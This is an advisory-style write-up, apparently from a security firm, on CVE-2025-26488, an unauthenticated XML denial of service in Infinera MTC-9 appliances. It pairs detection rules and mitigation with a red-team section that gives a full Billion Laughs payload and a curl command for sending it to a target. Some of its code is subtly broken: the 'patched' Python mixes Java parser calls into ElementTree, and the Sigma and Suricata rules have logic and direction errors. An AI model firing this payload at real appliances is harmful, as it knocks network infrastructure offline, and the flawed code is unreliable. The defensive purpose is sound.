CVE-2025-26488

Executive Summary

CVE-2025-26488 is a high-severity (CVSS 7.5) Improper Input Validation vulnerability in Infinera MTC-9 appliances. An unauthenticated, remote attacker can crash the service and force a reboot of the appliance by sending specially crafted XML payloads, leading to a Denial of Service (DoS) condition. The vulnerability affects versions from R22.1.1.0275 up to, but not including, R23.0. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. The vendor has not released a public advisory or patch details beyond the version fix.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – Complete loss of service availability.

Threat Level: High. The vulnerability is easy to exploit remotely without authentication, and the impact is a complete denial of service. While no public exploit exists, the low complexity makes it a prime target for weaponization.

Deep Dive & Mechanics

The vulnerability resides in the XML parsing logic of the Infinera MTC-9 management interface. The application fails to properly validate the structure and content of incoming XML payloads. By sending a crafted XML document (e.g., containing deeply nested elements, entity expansions, or malformed tags), an attacker can trigger a buffer overflow, infinite loop, or memory exhaustion in the XML parser. This causes the service to crash, and the appliance to reboot, resulting in a DoS condition.

The root cause is a classic Improper Input Validation (CWE-20) . The application does not enforce limits on XML depth, entity expansion, or schema conformance, allowing an attacker to craft a payload that overwhelms the parser.

Vulnerable vs. Patched Code

No specific code snippets are available. However, the fix likely involves:

• Implementing strict XML schema validation (e.g., using a DTD or XSD).
• Limiting XML entity expansion (e.g., setting XMLReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)).
• Enforcing maximum depth and size limits on XML input.

Vulnerable (Conceptual):

# Vulnerable: No validation
def parse_xml(data):
    root = ET.fromstring(data)  # No limits on depth or entities
    # Process root...

Patched (Conceptual):

# Patched: With validation
def parse_xml(data):
    parser = ET.XMLParser()
    parser.parser = XMLParser()
    parser.parser.setFeature(feature_disallow_doctype_decl, True)
    parser.parser.setFeature(feature_external_general_entities, False)
    parser.parser.setFeature(feature_external_parameter_entities, False)
    # Also limit depth and size
    root = ET.fromstring(data, parser=parser)
    # Process root...

Exploitation & Lab Setup

Red Team

Objective: Crash the MTC-9 appliance and cause a reboot.

Prerequisites:

• Network access to the MTC-9 management interface (typically port 80/443 or a custom port).
• No authentication required.

Exploit Steps:

1. Reconnaissance: Scan for Infinera MTC-9 devices using Shodan dorks or Nmap.

   nmap -p 80,443 --script http-title <target>
   

2. Craft Malicious XML Payload: Create a payload that triggers the vulnerability. Example (Billion Laughs attack):

   <?xml version="1.0"?>
   <!DOCTYPE lolz [
     <!ENTITY lol "lol">
     <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
     <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
     <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
     <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
     <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
     <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
     <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
     <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
   ]>
   <root>&lol9;</root>
   

3. Send Payload: Use curl or a custom script to send the payload to the vulnerable endpoint.

   curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://<target>/vulnerable-endpoint
   

4. Verify DoS: The appliance should become unresponsive or reboot. Monitor with ping or SNMP.

Blue Team

Detection:

• Monitor for unusually large or deeply nested XML payloads in HTTP POST requests.
• Alert on repeated connection attempts to the management interface from a single source.
• Use network intrusion detection systems (NIDS) to inspect XML content.

Mitigation:

• Immediately upgrade to MTC-9 R23.0 or later.
• If patching is not possible, restrict network access to the management interface using firewall rules (allow only trusted IPs).
• Deploy a Web Application Firewall (WAF) with rules to block malformed XML (e.g., entity expansion attacks).

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests with Content-Type: application/xml containing deeply nested XML entities or extremely long strings.
  • Repeated connection attempts to port 80/443 of MTC-9 devices from a single IP.
• System:
  • Unexpected reboots of MTC-9 appliances.
  • Log entries indicating XML parsing errors or service crashes (e.g., "OutOfMemoryError", "StackOverflowError").
• File:
  • Temporary files created by the XML parser (e.g., /tmp/entity*).

Detection Engineering

YARA Rule

rule CVE_2025_26488_XML_DoS {
    meta:
        description = "Detects crafted XML payloads targeting CVE-2025-26488"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26488"
    strings:
        $xml_entity = /<!ENTITY\s+\w+\s+"[^"]{100,}"/ nocase
        $xml_deep = /<[^>]+>[^<]*<[^>]+>[^<]*<[^>]+>[^<]*<[^>]+>/ nocase
        $xml_large = /&lol\d{1,2};/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-26488 - Infinera MTC-9 XML DoS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests with malformed XML targeting Infinera MTC-9
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-content-type: 'application/xml'
        cs-uri-query|contains: 'xml'
    condition: selection
    filter:
        cs-uri-query|length: < 1000
falsepositives:
    - Legitimate XML API calls
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26488 Infinera MTC-9 XML DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"application/xml"; http_content_type; pcre:"/<!ENTITY\s+\w+\s+\"[^\"]{100,}\"/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade to Infinera MTC-9 R23.0 or later.
2. Workaround: If patching is delayed, restrict network access to the management interface using ACLs or firewall rules. Only allow trusted IPs.
3. WAF Rules: Deploy a Web Application Firewall with rules to block XML entity expansion attacks (e.g., limit entity depth to 10, block DOCTYPE declarations).
4. Monitoring: Enable logging and monitoring for XML parsing errors and unexpected reboots.
5. Vendor Contact: Monitor Infinera’s security advisories for official patches and guidance.

Valters IT